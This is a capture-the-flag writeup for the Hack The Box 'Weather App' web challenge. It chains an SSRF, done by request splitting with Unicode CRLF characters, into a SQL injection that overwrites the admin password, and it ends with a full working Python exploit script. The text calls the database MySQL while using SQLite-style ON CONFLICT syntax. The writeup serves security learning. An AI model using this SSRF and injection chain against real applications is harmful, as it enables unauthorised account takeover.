Weather App

Weather App Hack The Box Web Challenge Writeup

In this challenge we are presented with a weather web application that has an internal API to get the weather for the location of the user. They gave us the source code for the application and we identify three endpoints: register, login and api/weather.

We know that we need to authenticate as admin and if we are successfully a flag is showed. Looking at the database.js, we can ensure a couple of things.

  • The username attribute in the table is unique so we cannot create another admin user and login.

  • The username password has 32 characters and is randomly generated so we cannot bruteforce the password.

  • The function that runs when we login has a parameterized query and because of that we cannot do a SQL injection.

  • BUT: The query that is used in the register is not parameterized and can be the vulnerability in this case.

Knowing that we are going to look how the /register works.

Looking at the function we know that the remote address that makes the request needs to be 127.0.0.1 or the request will fail. So we need to some how create a SSRF(Server-side request forgery) to make requests that appear that they are coming from the inside but in fact is the attacker that creates the payload.

We know that we have an API in place, and that API can receive requests from the client to make an internal request to grab the weather from the parameter(endpoint, country and city) that the user provide.

Since it lets the user insert the endpoint, we can use that to create a payload a forge a post request to the /register endpoint coming from the API itself.

We know that we can leverage that to create a SSRF but first we need to understand how we will gonna create the SQL injection. Since authenticate with the admin user is the only way to grab the flag as shown below:

We need to create an SQL Injection to change the password from admin user. We know that mysql does not accept two commands at the same time so:

INSERT INTO users (username, password) VALUES ('user', '1337'); UPDATE users SET password='admin' WHERE username='admin';--')

This query will generate an error in mysql when we are try to execute multiple query's. To bypass this we can use ON CONFLICT keyword in a single query to change the password. Like in query below:

INSERT INTO users (username, password) VALUES ('admin', '1') ON CONFLICT(username) DO UPDATE SET password = 'admin';--')	

The username and password will be:

username = "admin" 
password = "1') ON CONFLICT(username) DO UPDATE SET password = 'admin';-- "

We will create the payload and append it in the parameter endpoint.

Since the API execute a GET request whith the parameters we add:

We need to forge a chain of requests since the request we are trying to execute is a POST request to the /register endpoint. To do this we will need to add to the endpoint parameter a chain of requests like the one below:

Note: Look that the Host is 127.0.0.1. This is needed ro specify that we are sending the request to the local ip.

We cant just add a string appending all this information since nodejs has some problems with that. For all the spaces and new lines we need to add the hexadecimal of this "characters" to the string.

\u0120 space
\u010D carriage return(Enter)
\u010A line feed

When we want to do a newline we insert: \u010D\u010A

For the user and password we need to do this as well:

parseUsername = username.replace(" ", "\u0120").replace("'", "%27").replace('"', "%22")
parsePassword = password.replace(" ", "\u0120").replace("'", "%27").replace('"', "%22")

Then calculate the content-length:

contentLength = len(parseUsername) + len(parsePassword) + 19

19 = "username=" + "&password="

The final payload is the following:

endpoint = '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120'+str(contentLength)+'\u010D\u010A\u010D\u010Ausername='+parseUsername+'&password='+parsePassword+'\u010D\u010A\u010D\u010AGET\u0120/?lol='

Since the application check if all the parameters are there we need to add the city and country to the json body with random values since we are only going to use the endpoint part.

Here is the final python program:

import requests

url = "http://<HOST>:<PORT>"
api = "/api/weather"

username = "admin"
password = "1') ON CONFLICT(username) DO UPDATE SET password = 'admin';-- "

parseUsername = username.replace(" ", "\u0120").replace("'", "%27").replace('"', "%22")
parsePassword = password.replace(" ", "\u0120").replace("'", "%27").replace('"', "%22")

contentLength = len(parseUsername) + len(parsePassword) + 19
endpoint = '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120'+str(contentLength)+'\u010D\u010A\u010D\u010Ausername='+parseUsername+'&password='+parsePassword+'\u010D\u010A\u010D\u010AGET\u0120/?lol='
city = "1337"
country = "1337"

json = {"endpoint":endpoint, "city":city, "country":country}

r = requests.post(url=url+api, json=json)
print(r)

After this we login with the username and password admin and we have the flag. :)

Last updated